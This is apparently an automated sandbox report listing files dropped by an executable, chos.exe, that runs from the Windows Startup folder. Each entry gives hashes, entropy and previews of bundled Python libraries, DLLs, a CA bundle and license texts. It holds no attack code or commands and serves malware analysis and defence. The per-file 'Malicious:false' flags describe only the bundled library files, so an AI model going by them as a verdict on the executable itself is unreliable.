                                                                                                                                                                                                                                            SHA-512:F05E90A0FEAA2994B425884AF32149FBBE2E11CB7499FC88CA92D8A74410EDCD62B2B2C0F1ECD1A46985133F7E89575F2C114BD01F619C22CE52F3CF2A7E37C4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p..#..#..#..\#..#..."..#..."..#..."..#..."..#..."..#..."..#..#...#..."..#..."..#..0#..#..."..#Rich..#........PE..d.....g.........." ...).....&......................................................".....`.........................................p9..L....9..x....`.......P.......6.../...p..@...`3..T........................... 2..@............0..8............................text...h........................... ..`.rdata.......0......................@..@.data...p....@.......&..............@....pdata.......P.......(..............@..@.rsrc........`.......*..............@..@.reloc..@....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_wmi.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):38160
                                                                                                                                                                                                                                            Entropy (8bit):6.338856805460127
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
                                                                                                                                                                                                                                            MD5:1C30CC7DF3BD168D883E93C593890B43
                                                                                                                                                                                                                                            SHA1:31465425F349DAE4EDAC9D0FEABC23CE83400807
                                                                                                                                                                                                                                            SHA-256:6435C679A3A3FF4F16708EBC43F7CA62456C110AC1EA94F617D8052C90C143C7
                                                                                                                                                                                                                                            SHA-512:267A1807298797B190888F769D998357B183526DFCB25A6F1413E64C5DCCF87F51424B7E5D6F2349D7A19381909AB23B138748D8D9F5858F7DC0552F5C5846AC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H2.&a.&a.&a..a.&a..'`.&a..%`.&a.."`.&a..'`.&a..#`.&a..'`.&a.'a..&a.."`.&a../`.&a..&`.&a...a.&a..$`.&aRich.&a................PE..d.....g.........." ...).,...<.......)..............................................'.....`.........................................0V..H...xV.......................f.../......x...tG..T............................C..@............@.......T..@....................text....*.......,.................. ..`.rdata..d ...@..."...0..............@..@.data........p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc..x............d..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\base_library.zip

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1394456
                                                                                                                                                                                                                                            Entropy (8bit):5.531698507573688
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
                                                                                                                                                                                                                                            MD5:A9CBD0455B46C7D14194D1F18CA8719E
                                                                                                                                                                                                                                            SHA1:E1B0C30BCCD9583949C247854F617AC8A14CBAC7
                                                                                                                                                                                                                                            SHA-256:DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
                                                                                                                                                                                                                                            SHA-512:B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\certifi\cacert.pem

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):299427
                                                                                                                                                                                                                                            Entropy (8bit):6.047872935262006
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
                                                                                                                                                                                                                                            MD5:50EA156B773E8803F6C1FE712F746CBA
                                                                                                                                                                                                                                            SHA1:2C68212E96605210EDDF740291862BDF59398AEF
                                                                                                                                                                                                                                            SHA-256:94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
                                                                                                                                                                                                                                            SHA-512:01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\charset_normalizer\md.cp313-win_amd64.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10752
                                                                                                                                                                                                                                            Entropy (8bit):4.818583535960129
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:Mvs10hZd9D74ACb0xx2uKynu10YLsgxwJiUNiL0U5IZsJFPGDtCFCCQAADo+cX6m:MXv9XFCk2z1/t12iwU5usJFuCyPcqgE
                                                                                                                                                                                                                                            MD5:56FE4F6C7E88212161F49E823CCC989A
                                                                                                                                                                                                                                            SHA1:16D5CBC5F289AD90AEAA4FF7CB828627AC6D4ACF
                                                                                                                                                                                                                                            SHA-256:002697227449B6D69026D149CFB220AC85D83B13056C8AA6B9DAC3FD3B76CAA4
                                                                                                                                                                                                                                            SHA-512:7C9D09CF9503F73E6F03D30E54DBB50606A86D09B37302DD72238880C000AE2B64C99027106BA340753691D67EC77B3C6E5004504269508F566BDB5E13615F1E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k............r_...........r................................................3..........Rich....................PE..d....$.g.........." ...).....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\charset_normalizer\md__mypyc.cp313-win_amd64.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):124928
                                                                                                                                                                                                                                            Entropy (8bit):5.953784637413928
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:JDE+0ov6ojgN3qN8h51Zlh+YW5E38vCsmLS:JdefPZE2ICDLS
                                                                                                                                                                                                                                            MD5:10116447F9276F10664BA85A5614BA3A
                                                                                                                                                                                                                                            SHA1:EFD761A3E6D14E897D37AFB0C7317C797F7AE1D6
                                                                                                                                                                                                                                            SHA-256:C393098E7803ABF08EE8F7381AD7B0F8FAFFBF66319C05D72823308E898F8CFC
                                                                                                                                                                                                                                            SHA-512:C04461E52B7FE92D108CBDEB879B7A8553DD552D79C88DFA3F5D0036EED8D4B8C839C0BF2563BC0C796F8280ED2828CA84747CB781D2F26B44214FCA2091EAE4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.....................7...............7.......7.......7.......6..........D....6.......6.......6.......6......Rich............................PE..d....$.g.........." ...).@...........C.......................................0............`.........................................0...d.................................... ......................................P...@............P...............................text....?.......@.................. ..`.rdata..nY...P...Z...D..............@..@.data....=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\INSTALLER

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4
                                                                                                                                                                                                                                            Entropy (8bit):1.5
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:Mn:M
                                                                                                                                                                                                                                            MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                            SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                            SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                            SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:pip.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\METADATA

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):5724
                                                                                                                                                                                                                                            Entropy (8bit):5.120429897887076
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:DlkQIUQIhQIKQILbQIRIaMPktjaVMxsxA2ncEvGDfe0HEdwGArNZG0JQTQCQx5Kw:dcPuPwsrcEvGDfe0HENA5w0JQTQ9x59H
                                                                                                                                                                                                                                            MD5:526D9AC9D8150602EC9ED8B9F4DE7102
                                                                                                                                                                                                                                            SHA1:DBA2CB32C21C4B0F575E77BBCDD4FA468056F5E3
                                                                                                                                                                                                                                            SHA-256:D95F491ED418DC302DB03804DAF9335CE21B2DF4704587E6851EF03E1F84D895
                                                                                                                                                                                                                                            SHA-512:FB13A2F6B64CB7E380A69424D484FC9B8758FA316A7A155FF062BFDACDCA8F2C5D2A03898CD099688B1C16A5A0EDCECFC42BF0D4D330926B10C3FCE9F5238643
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Metadata-Version: 2.3.Name: cryptography.Version: 44.0.0.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: OSI Approved :: BSD License.Classifier: Natural Language :: English.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: POSIX :: BSD.Classifier: Operating System :: POSIX :: Linux.Classifier: Operating System :: Microsoft :: Windows.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classif

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\RECORD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:CSV text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):16286
                                                                                                                                                                                                                                            Entropy (8bit):5.5843411690874865
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:hXy1uJ/l45jEVeK8RThXsI4WJi6LAciTwqUIq+NX6ih5V3Uqd8q:hXFlMEVd2sIJi6LAciTwqU/+96ihL8q
                                                                                                                                                                                                                                            MD5:14AC8030DE12534736F742CE05989BD6
                                                                                                                                                                                                                                            SHA1:5495082B702CC31048065B1F6546AF487CB0BC00
                                                                                                                                                                                                                                            SHA-256:B593F9EDEAA8BA8B3F8DD147D52A27D904E812E544980265DF234D3958B12517
                                                                                                                                                                                                                                            SHA-512:B1960D3485E44AA6F4FE7C0023AEEBB4FA00CC16F0340F2C90CB5FCBF2D1C32FDC4FBFB8546EA0C740AA44D72F9A8810F8421C65227F9182972491A1DFDFFEBC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:cryptography-44.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-44.0.0.dist-info/METADATA,sha256=2V9JHtQY3DAtsDgE2vkzXOIbLfRwRYfmhR7wPh-E2JU,5724..cryptography-44.0.0.dist-info/RECORD,,..cryptography-44.0.0.dist-info/WHEEL,sha256=Hn9bytZpOGoR6M4U5xUTHC1AJpPD9B1xPrM4STxljEU,94..cryptography-44.0.0.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-44.0.0.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-44.0.0.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography/__about__.py,sha256=fcUqF1IcadxBSH0us1vCvob0OJOrPV3h30yZD8wsHo4,445..cryptography/__init__.py,sha256=XsRL_PxbU6UgoyoglAgJQSrJCP97ovBA8YIEQ2-uI68,762..cryptography/__pycache__/__about__.cpython-313.pyc,,..cryptography/__pycache__/__init__.cpython-313.pyc,,..cryptography/__pycache__/exceptions.cpython-313.pyc,,..cryptography/__pycache__/fernet

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\WHEEL

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):94
                                                                                                                                                                                                                                            Entropy (8bit):5.0373614967294325
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:RtEeX5pG6vhP+tkKciH/KQb:RtvoKWKTQb
                                                                                                                                                                                                                                            MD5:A868F93FCF51C4F1C25658D54F994349
                                                                                                                                                                                                                                            SHA1:535C88A10911673DEABB7889D365E81729E483A6
                                                                                                                                                                                                                                            SHA-256:1E7F5BCAD669386A11E8CE14E715131C2D402693C3F41D713EB338493C658C45
                                                                                                                                                                                                                                            SHA-512:EC13CAC9DF03676640EF5DA033E8C2FAEE63916F27CC27B9C43F0824B98AB4A6ECB4C8D7D039FA6674EF189BDD9265C8ED509C1D80DFF610AEB9E081093AEB3D
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Wheel-Version: 1.0.Generator: maturin (1.7.5).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\licenses\LICENSE

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):197
                                                                                                                                                                                                                                            Entropy (8bit):4.61968998873571
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
                                                                                                                                                                                                                                            MD5:8C3617DB4FB6FAE01F1D253AB91511E4
                                                                                                                                                                                                                                            SHA1:E442040C26CD76D1B946822CAF29011A51F75D6D
                                                                                                                                                                                                                                            SHA-256:3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
                                                                                                                                                                                                                                            SHA-512:77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:This software is made available under the terms of *either* of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of *both* these licenses..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\licenses\LICENSE.APACHE

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11360
                                                                                                                                                                                                                                            Entropy (8bit):4.426756947907149
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
                                                                                                                                                                                                                                            MD5:4E168CCE331E5C827D4C2B68A6200E1B
                                                                                                                                                                                                                                            SHA1:DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
                                                                                                                                                                                                                                            SHA-256:AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
                                                                                                                                                                                                                                            SHA-512:F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\licenses\LICENSE.BSD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1532
                                                                                                                                                                                                                                            Entropy (8bit):5.058591167088024
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
                                                                                                                                                                                                                                            MD5:5AE30BA4123BC4F2FA49AA0B0DCE887B
                                                                                                                                                                                                                                            SHA1:EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
                                                                                                                                                                                                                                            SHA-256:602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
                                                                                                                                                                                                                                            SHA-512:DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography\hazmat\bindings\_rust.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):8292864
                                                                                                                                                                                                                                            Entropy (8bit):6.493076254122072
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:98304:Y4sf3zg+qUuQdPJMqYLSxuBLZqwt0kDO+5+O:cdeqYLSxuBLZrGjq+
                                                                                                                                                                                                                                            MD5:34293B976DA366D83C12D8EE05DE7B03
                                                                                                                                                                                                                                            SHA1:82B8EB434C26FCC3A5D9673C9B93663C0FF9BF15
                                                                                                                                                                                                                                            SHA-256:A2285C3F2F7E63BA8A17AB5D0A302740E6ADF7E608E0707A7737C1EC3BD8CECC
                                                                                                                                                                                                                                            SHA-512:0807EC7515186F0A989BB667150A84FF3BEBCC248625597BA0BE3C6F07AD60D70CF8A3F65191436EC16042F446D4248BF92FCD02212E459405948DB10F078B8E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y.j...j...j....F..j.......j.......j.......j.......j.......j.......j...j...h.......i...j...j.......j.......j..Rich.j..........................PE..d....^Gg.........." ...*.R\..n"......~Z.......................................~...........`...........................................x.X.....x...............y...............~.......o.T.....................o.(...p.o.@............p\.8............................text....Q\......R\................. ..`.rdata..P9...p\..:...V\.............@..@.data... >....x.......x.............@....pdata........y.......y.............@..@.reloc........~.......}.............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\libcrypto-3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):5232408
                                                                                                                                                                                                                                            Entropy (8bit):5.940072183736028
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
                                                                                                                                                                                                                                            MD5:123AD0908C76CCBA4789C084F7A6B8D0
                                                                                                                                                                                                                                            SHA1:86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
                                                                                                                                                                                                                                            SHA-256:4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
                                                                                                                                                                                                                                            SHA-512:80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\libffi-8.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):39696
                                                                                                                                                                                                                                            Entropy (8bit):6.641880464695502
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
                                                                                                                                                                                                                                            MD5:0F8E4992CA92BAAF54CC0B43AACCCE21
                                                                                                                                                                                                                                            SHA1:C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
                                                                                                                                                                                                                                            SHA-256:EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
